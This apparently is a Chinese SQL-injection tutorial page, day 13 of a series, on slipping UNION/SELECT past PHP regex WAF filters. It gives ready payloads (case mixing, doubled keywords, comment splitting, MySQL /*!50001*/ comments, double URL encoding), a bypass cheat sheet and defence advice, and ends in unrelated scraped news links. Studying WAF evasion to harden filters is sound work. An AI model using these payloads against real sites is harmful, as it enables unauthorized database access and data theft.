5-数据库-SQL注入-联合查询-关键字绕过-day13
WAF 绕过 — 关键字绕过手册以 PHP 语言的数据库语法为例系统讲解 SQL 注入中绕过 WAF 关键字过滤的原理与手法。按难易程度分层基础 → 进阶 → 高阶。⚠️ 免责声明本文旨在教学网络安全知识帮助开发者理解 WAF 绕过原理以更好地防御。请勿将本文所述技术用于任何非法攻击或渗透测试。任何滥用本文知识造成的法律后果由使用者自行承担。 文章目录WAF 过滤机制简述一、基础手法1.1 大小写混淆1.2 双写绕过1.3 注释分割关键字二、进阶手法2.1 MySQL 特殊注释2.2 URL 编码2.3 混合大小写注释2.4 编码大小写混合三、高阶手法3.1 十六进制编码仅限字符串值不能替代关键字3.2 函数替代关键字的尝试与失败分析3.3 其他编码方式3.4 information_schema 被拦截时的替代方案3.5 混合绕过策略四、速查表五、防御建议WAF 过滤机制简述理解绕过之前先理解 WAF 是如何过滤关键字的。以 PHP 为例典型流程为用户输入 → Web服务器(URL解码) → PHP $_GET接收 → 正则匹配(WAF) → 拼接SQL → MySQL执行PHP 常用的关键字过滤方式是preg_match或preg_replace// 区分大小写只有完全一样才匹配$pattern/union/;preg_match_all($pattern,$subject,$matches);// 不区分大小写加 i 修饰符$pattern/union/i;// 单词边界避免误匹配 reunion$pattern/\b(union|select)\b/i;绕过的核心思路让 payload 在 WAF 检测时不匹配规则但在 SQL 执行时等效于原关键字。一、基础手法1.1 大小写混淆适用于 WAF 正则区分大小写未使用i修饰符的情况。-- WAF 只匹配小写 unionSELECTidFROMusersUnIoNSeLeCt1,2,3// WAF 规则区分大小写$pattern/union/;// UnIoN 不匹配 → 绕过成功局限大多数现代 WAF 使用i修饰符大小写混淆基本无效。但在多层过滤或低质量 WAF 中仍值得一试。1.2 双写绕过适用于 WAF 使用str_replace或preg_replace且只替换一次的情况。// WAF 规则只替换第一个匹配$pattern/union/i;$replacedpreg_replace($pattern,,$sql,1);// 第4个参数1只替换1次-- 输入 un/**/ion 会被替换为 ion如果 WAF 匹配到 union 的话-- 双写绕过构造 ununionion替换掉中间的 union 后剩下 unionSELECTidFROMusers ununionionSELECT1,2,3-- WAF 替换un[union]ion → union → 执行成功-- 如果 WAF 替换所有匹配$replacedpreg_replace($pattern,,$sql);// 替换所有-- 双写就不行了需要换用注释编码等手法1.3 注释分割关键字利用 SQL 注释在关键字中间插入注释使正则无法匹配但 SQL 引擎会忽略注释正常解析。多行注释/**/-- 注释分割 UNIONSELECTidFROMusers UN/**/IONSELECT1,2,3-- WAF 检测UN/**/ION ≠ UNION → 不匹配 → 绕过-- SQL 执行/* */ 被忽略 → UN/**/ION UNION → 正常执行-- 多层嵌套SELECTidFROMusers U/**/N/**/I/**/O/**/NSELECT1,2,3-- 混合分割SELECTidFROMusers U/*!N*/I/**/O/*!N*/SELECT1,2,3关于单行注释--和#分割关键字的误区-- ❌ 以下写法不生效SELECTidFROMusers UNI-- \nON SELECT 1,2,3原因MySQL 中--后面必须跟空格才被视为注释符。UNI-- \nON中--后面没有空格不被当作注释而是被解释为减号运算符导致语法错误。即使--后面有空格注释后UNI和换行后的ON也不会自动拼合为UNION——注释是删除内容不是字符串连接。总结单行注释--和#不能用来分割关键字的字母。只有多行注释/**/和 MySQL 特殊注释/*!*/可以。二、进阶手法2.1 MySQL 特殊注释MySQL 特有的内联注释/*! */其中内容会被 MySQL 执行其他数据库则忽略。-- MySQL 特殊注释内容会被 MySQL 执行/*!50001 UNION*/SELECT1,2,3-- 50001 表示 MySQL 5.0.01 及以上版本执行-- WAF 检测/*!50001 UNION*/ ≠ UNION → 绕过-- MySQL 执行/*!50001 UNION*/ UNION → 正常执行-- 版本条件执行/*!50000 UNION SELECT 1,2,3 */-- MySQL 5.0 执行/*!80000 UNION SELECT 1,2,3 */-- MySQL 8.0 执行-- 在关键字中间插入SELECTidFROMusers UN/*!*/IONSELECT1,2,3-- MySQL 执行UN/*!*/ION UNION-- 其他数据库忽略注释UNION 被拆开 → 语句无效注意/*!*/是 MySQL 独有语法。如果目标不是 MySQL此方法不适用。2.2 URL 编码将关键字进行 URL 编码使 WAF 的正则匹配不到原始字符串。编码流程与关键问题正常流程 用户输入 union → 浏览器发送 union → 服务器解码为 union → PHP接收 union → WAF匹配 union → 拦截 单次编码基本无效 用户输入 %55%4e%49%4f%4e → 服务器解码为 UNION → PHP接收 UNION → WAF匹配 UNION → 拦截单次 URL 编码通常无效因为 Web 服务器Apache/Nginx在 PHP 接收前已经自动解码了一次。-- 单次编码绕过低质量WAF但对大多数WAF无效%55%4e%49%4f%4e → 服务器解码 →UNION→ WAF匹配到 → 失败双重 URL 编码当 Web 服务器只解码一次而 WAF 在解码后检查时双重编码可以让 WAF 看到的是单次编码后的字符串用户输入 %2555%254e%2549%254f%254e双重编码 → Web服务器解码一次 → %55%4e%49%4f%4e仍为编码状态 → PHP接收 → WAF检测 → 看到的是 %55%4e... → 不匹配 UNION → 绕过成功 → 传入MySQL → MySQL 不认识 %55%4e... → 执行失败双重编码的关键问题MySQL 不能理解 URL 编码。要让 payload 绕过 WAF 并被 MySQL 执行必须在 WAF 检测时是编码状态在 SQL 执行时是非编码状态。这只有在应用层存在二次解码如 PHP 的urldecode()函数被调用时才可能// 如果应用代码中有这样的逻辑$id$_GET[id];// 服务器已解码一次$idurldecode($id);// 应用层再解码一次 → 二次解码$sqlSELECT * FROM news WHERE id$id;// 此时双重编码才能生效// 用户输入 %2555%254e... → 服务器解码为 %55%4e... → WAF看到 %55%4e...(绕过) → urldecode解码为 UNION → MySQL执行核心原则URL 编码绕过是否成功取决于 WAF 检测和最终解码之间的解码次数差。需要具体分析目标应用的解码链路。2.3 混合大小写注释将大小写混淆与注释分割结合增加 WAF 正则匹配难度。-- 大小写 多行注释SeLeCtid Fr/**/Om users UN/**/IoNSeLeCt1,2,3-- 大小写 MySQL 特殊注释/*!50000 UnIoN*//*!50000 SeLeCt*/1,2,32.4 编码大小写混合先大小写混合再进行 URL 编码。-- 原始UNION SELECT -- 混合UnIoN SeLeCt -- 编码%55n%49o%4e %53e%4c%65%63t三、高阶手法3.1 十六进制编码仅限字符串值不能替代关键字十六进制字面量只能用于字符串值不能用于 SQL 关键字。原因在于 SQL 的解析过程SQL 解析过程词法分析 → 语法分析 → 语义分析 → 执行UNION是 SQL 关键字/保留字在词法分析阶段被识别为语法 token0x554e494f4e是十六进制字面量在词法分析阶段被识别为值字符串语法分析阶段解析器在期待关键字的位置看到的是值而非 token → 语法错误-- ❌ 错误0x554e494f4e 不能作为 UNION 关键字SELECT1,2,30x554e494f4eSELECT4,5,6;-- 报错语法错误-- ✅ 正确十六进制用于字符串值SELECTidFROMusersWHEREname0x554e494f4e;-- 等价于 WHERE name UNION查找 name 值为 UNION 的记录MySQL 版本差异MySQL 版本0x554e494f4e行为能否替代关键字5.7 及之前自动转为字符串UNION否仍只是值8.0 及之后二进制字符串类型否仍只是值总结十六进制编码可以绕过对字符串值如表名、列名、搜索关键词的引号过滤但绝对不能用来绕过UNION、SELECT等关键字本身的过滤。3.2 函数替代关键字的尝试与失败分析在 SQL 注入中常有人尝试用CHAR()、CONCAT()等函数返回关键字字符串来绕过过滤。但这不能替代关键字原因同上——函数返回的是值不是语法 token。-- ❌ CHAR() 不能替代 UNION 关键字SELECTidFROMusersCHAR(85,78,73,79,78)SELECT1,2,3;-- 报错语法错误CHAR() 返回的是值 UNION不是关键字 UNION-- ❌ CONCAT() 也不能SELECTidFROMusers CONCAT(U,N,I,O,N)SELECT1,2,3;-- 同样报错-- ❌ CONCAT_WS() 也不能SELECTidFROMusers CONCAT_WS(,U,N,I,O,N)SELECT1,2,3;-- 同样报错-- ❌ 子查询返回字符串也不能SELECT1,2,(SELECTCONCAT(u,n,i,o,n))ASunion_str;-- 结果返回值 union但不会执行 UNION 操作根本原因SQL 解析器在语法分析阶段期待关键字位置出现的是 token关键字标识而不是表达式函数调用。函数是表达式关键字是语法结构两者在语法树的层级完全不同。函数的正确用法——在值的位置使用-- ✅ CHAR() 在 SELECT 列表中值的位置使用SELECTCHAR(85,78,73,79,78)FROMusers;-- 返回每行都是 UNION-- ✅ CONCAT() 在 WHERE 条件中使用SELECTidFROMusersWHEREnameCONCAT(U,N,I,O,N);-- 查找 name UNION 的记录-- ✅ CHAR() 在 WHERE 条件中使用SELECTidFROMusersWHEREnameCHAR(85,78,73,79,78);-- 同上3.3 其他编码方式除 URL 编码外还存在其他编码方式效果取决于服务器的解码链路WAF 检测和最终解码的时序关系Unicode 编码适用于 JSON/XML 输入{id:1\u0041\u004e\u0044 11}二进制/八进制字面量不能作为 SQL 关键字解析与十六进制同理。3.4 information_schema 被拦截时的替代方案如果information_schema被 WAF 拦截且无法绕过可以尝试以下替代方案方案一MySQL 系统库替代查询-- 查询所有数据库替代 information_schema.schemataSELECTDISTINCTtable_schemaFROMinformation_schema.tables;-- 如果 information_schema 整体被拦截尝试 mysql 系统库SELECTschema_nameFROMmysql.schemata;-- MySQL 8.0-- 查询版本信息替代 version() 函数当函数被过滤时SELECTversion,global.version;-- 或从系统变量表查询SELECTVARIABLE_VALUEFROMinformation_schema.GLOBAL_VARIABLESWHEREVARIABLE_NAMEversion;SELECTVARIABLE_VALUEFROMinformation_schema.SESSION_VARIABLESWHEREVARIABLE_NAMEversion;-- 查询当前数据库替代 database() 函数SELECTTABLE_SCHEMAFROMinformation_schema.TABLESLIMIT1;方案二InnoDB 系统表MySQL 5.x-- 利用 InnoDB 引擎的系统表SELECT*FROMmysql.innodb_table_stats;SELECT*FROMmysql.innodb_index_stats;-- 注意mysql.innodb_table_stats 属于 mysql 系统库不是独立的系统数据库方案三布尔盲注替代当联合查询被完全封堵时回退到布尔盲注逐字符猜解表名和列名。3.5 混合绕过策略实战中往往需要多种手法组合使用-- 大小写 注释 特殊注释 编码的组合?id-1 /*!50001UNIoN*/ /*!50001SeLeCt*/ 1,2,3-- -- 注释分割 URL编码 ?id-1%20UN/**/ION%20SeLeCt%201,2,3---- 双写 注释应对替换型WAF?id-1 ununiunionon/**/selselectect1,2,3--四、速查表场景WAF 类型绕过写法成功率区分大小写preg_match(/union/)UnIoN SeLeCt高不区分大小写preg_match(/union/i)UN/**/ION SeLeCt中替换一次preg_replace(..., 1)ununionion高替换全部preg_replace(...)UN/**/ION 编码中严格单词匹配\b(union|select)\b/i/*!50000UNION*/中双重解码存在urldecode()%2555%254e%2549%254f%254e低需要特定条件关键字过滤引号过滤综合过滤/*!50000UNION*/ SELE/**/CT 1,0x61646d696e,3中五、防御建议WAF 正则规则应覆盖以下维度注释分割检测去除注释后再匹配/\/\*.*?\*\//→ 删除 → 再匹配关键字多重编码检测对输入进行递归 URL 解码直到解码结果不再变化逻辑运算符别名检测、||、!等运算符别名大小写归一化匹配前统一转为小写MySQL 特殊注释检测/*!模式统一字符集UTF-8 编码避免字符集差异导致的绕过⚠️ 法律与道德声明本文所有内容仅供网络安全学习与研究使用旨在帮助开发者和安全人员理解 WAF 绕过原理从而构建更安全的 Web 应用。严禁将文中任何技术用于未经授权的系统测试、渗透或攻击非法获取、篡改、破坏他人数据任何违反《中华人民共和国网络安全法》及相关法律法规的行为网络安全是双刃剑技术本身无罪但使用者的意图决定其性质。请务必在法律允许的范围内进行安全研究共同维护清朗网络空间。作者与平台不对任何滥用本文技术造成的后果负责。

相关新闻

长时运行应用Harness设计:构建稳定可靠的后端服务框架

长时运行应用Harness设计:构建稳定可靠的后端服务框架

1. 项目概述:长时运行应用与Harness设计在软件开发领域,我们经常需要处理那些需要持续运行数小时、数天甚至更长时间的应用。这类应用通常被称为“长时运行应用”,它们可能是数据处理流水线、实时监控系统、后台批处理作业,或者是…

2026/8/27 4:56:04 阅读更多 →
AI副业从0到月入5万:6大高转化落地模型+实时数据看板模板(附2024最新平台红利清单)

AI副业从0到月入5万:6大高转化落地模型+实时数据看板模板(附2024最新平台红利清单)

更多请点击: https://codechina.net 第一章:AI副业的本质认知与增长底层逻辑 AI副业并非简单地“用AI工具接单”,而是一种以算法能力为杠杆、以数据资产为燃料、以人机协同为执行单元的价值再生产模式。其本质是将个体认知盈余(如…

2026/8/19 12:38:52 阅读更多 →
华硕笔记本终极轻量化控制:告别Armoury Crate臃肿体验的完整指南

华硕笔记本终极轻量化控制:告别Armoury Crate臃肿体验的完整指南

华硕笔记本终极轻量化控制:告别Armoury Crate臃肿体验的完整指南 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Z…

2026/8/26 2:25:07 阅读更多 →

最新新闻

安全Wi-Fi MCU:从安全启动到密钥管理的IoT设备安全设计

安全Wi-Fi MCU:从安全启动到密钥管理的IoT设备安全设计

1. IoT设备安全的缺口:为什么问题最先出在Wi-Fi连接这层 做物联网产品的人对下面这个场景应该不陌生:智能插座、摄像头、传感器网关,硬件打样、功能调通、云端连上,一切顺利。结果等到送检或者遇到较真的甲方做安全评估&#xff0…

2026/8/27 11:44:07 阅读更多 →
3D协同设计:PCB与机械设计高效联姻的关键路径

3D协同设计:PCB与机械设计高效联姻的关键路径

说实话,我在这个行业干了十几年,见过太多PCB设计团队和结构设计团队因为“沟通不畅”而在产品开发后期焦头烂额。电路板画完了,结构件也开模了,结果一装壳发现元器件顶住外壳、连接器对不上开孔位置、射频线被结构压死——这些问题…

2026/8/27 11:44:07 阅读更多 →
轨道交通车载DC-DC变换器系列化设计与可靠性实践

轨道交通车载DC-DC变换器系列化设计与可靠性实践

这几年在轨道交通项目里跑得多了,我发现一个有意思的现象:做整车系统集成的人,几乎不会主动去关心电源模块是怎么设计的,但只要电源模块出了问题,优先级立刻拉满。因为车上所有的控制系统、通信设备、门控单元、照明和…

2026/8/27 11:44:07 阅读更多 →
27英寸144Hz显示器实用指南:从设置到验机一步到位

27英寸144Hz显示器实用指南:从设置到验机一步到位

之前给工作室配新显示器,最直观的感受就是:从 60Hz 换到 144Hz 之后,鼠标移动、网页滚动、窗口拖拽都“跟手”了很多。如果你预算有限,又想要 27 英寸大屏和 144Hz 高刷新率,戴尔 SE2726H 这类产品往往会被放进购物车。…

2026/8/27 11:44:07 阅读更多 →
Kimi K3本地部署实战:大模型核心原理与工程落地指南

Kimi K3本地部署实战:大模型核心原理与工程落地指南

最近社区里讨论度最高的大模型,除了各家开源旗舰,就是像 Kimi K3 这类主打免费开放的新模型。很多人第一反应是:它真的能免费商用吗?能不能本地部署?对现有业务有多大影响?本文不讨论商业策略,也…

2026/8/27 11:44:06 阅读更多 →
用Coze搭建爆款文案创作助手:从工作流到API批量生成

用Coze搭建爆款文案创作助手:从工作流到API批量生成

这次我们来看一个很实际的东西:用 Coze(扣子)搭建一个「爆款文案创作助手」。很多人刷到过 Coze 的教程,但要么讲得太概念化,要么只教“复制粘贴一个提示词”。这篇直接把搭建过程拆开,从创建智能体、配置人…

2026/8/27 11:43:06 阅读更多 →

日新闻

Go语言构建企业级AI服务网关:统一管理英伟达等AI接口调用

Go语言构建企业级AI服务网关:统一管理英伟达等AI接口调用

1. 项目概述:从零构建一个企业级的AI服务网关 最近在帮一个做内容审核的团队做技术架构升级,他们原来的业务里,每天有几十万张图片和短视频需要过审,最初是接了几个开源的AI模型自己部署,但效果和性能一直不太稳定。后…

2026/8/27 0:00:51 阅读更多 →
网盘直链下载助手5分钟解析八大网盘真实地址

网盘直链下载助手5分钟解析八大网盘真实地址

网盘直链下载助手5分钟解析八大网盘真实地址 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘 / 迅雷云盘 / 夸…

2026/8/27 1:06:27 阅读更多 →
从零点亮 ESP32:Arduino ESP32 开发环境搭建与首次烧录完整指南

从零点亮 ESP32:Arduino ESP32 开发环境搭建与首次烧录完整指南

从零点亮 ESP32:Arduino ESP32 开发环境搭建与首次烧录完整指南 【免费下载链接】arduino-esp32 Arduino core for the ESP32 family of SoCs 项目地址: https://gitcode.com/GitHub_Trending/ar/arduino-esp32 Arduino ESP32 是乐鑫官方的 ESP32 系列 Ardui…

2026/8/27 1:06:27 阅读更多 →

周新闻

[光学原理与应用-521]:对光的错误理解与纠偏

[光学原理与应用-521]:对光的错误理解与纠偏

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

2026/8/26 14:45:33 阅读更多 →
SIP通话转接原理与REFER方法实战解析

SIP通话转接原理与REFER方法实战解析

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

2026/8/26 17:46:43 阅读更多 →
Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

2026/8/26 14:46:37 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/26 3:50:20 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/26 17:46:39 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/26 1:24:05 阅读更多 →